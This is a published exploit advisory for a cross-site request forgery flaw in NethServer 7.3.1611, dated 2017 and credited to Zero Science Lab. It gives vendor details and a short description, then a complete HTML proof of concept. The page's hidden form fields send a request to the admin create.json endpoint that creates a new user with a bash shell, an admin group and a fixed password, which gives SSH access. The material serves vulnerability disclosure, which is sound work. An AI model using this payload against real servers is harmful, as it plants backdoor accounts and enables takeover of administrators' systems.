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NethServer 7.3.1611 CSRF Create User / Enable SSH Access

NethServer 7.3.1611 CSRF Create User / Enable SSH Access
Posted Aug 28, 2017
Authored by LiquidWorm | Site zeroscience.mk

NethServer version 7.3.1611 suffers from a cross site request forgery vulnerability that allows you to create a user and enable SSH access.

tags | exploit, csrf
MD5 | 30902b438d0c118a9ace27dab197dbe2

NethServer 7.3.1611 CSRF Create User / Enable SSH Access

Change Mirror Download
<!--

NethServer 7.3.1611 (create.json) CSRF Create User And Enable SSH Access


Vendor: NethServer.org
Product web page: https://www.nethserver.org
Affected version: 7.3.1611-u1-x86_64

Summary: NethServer is an operating system for the Linux
enthusiast, designed for small offices and medium enterprises.
It's simple, secure and flexible.

Desc: The application interface allows users to perform certain
actions via HTTP requests without performing any validity checks
to verify the requests. This can be exploited to perform certain
actions with administrative privileges if a logged-in user visits
a malicious web site.

Tested on: Kernel 3.10.0.-514.el7.x86_64 on an x86_64
CentOS Linux 7.3.1611 (Core)


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2017-5433
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5433.php


16.08.2017

-->


HTML Decoded PoC:

<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="https://172.19.0.195:980/en-US/Account/User/create.json" method="POST">
<input type="hidden" name="Account[User][create][username]" value="Blabla" />
<input type="hidden" name="Account[User][create][gecos]" value="Test1" />
<input type="hidden" name="Account[User][create][groups]" value="" />
<input type="hidden" name="Account[User][create][groups][1]" value="admin@zsl.lsz" />
<input type="hidden" name="Account[User][create][expires]" value="no" />
<input type="hidden" name="Account[User][create][shell]" value="/usr/libexec/openssh/sftp-server" />
<input type="hidden" name="Account[User][create][shell]" value="/bin/bash" />
<input type="hidden" name="Account[User][create][setPassword]" value="disabled" />
<input type="hidden" name="Account[User][create][setPassword]" value="enabled" />
<input type="hidden" name="Account[User][create][newPassword]" value="gi3fme$heLL!" />
<input type="hidden" name="Account[User][create][confirmNewPassword]" value="gi3fme$heLL!" />
<input type="hidden" name="Account[User][create][Submit]" value="Submit" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>

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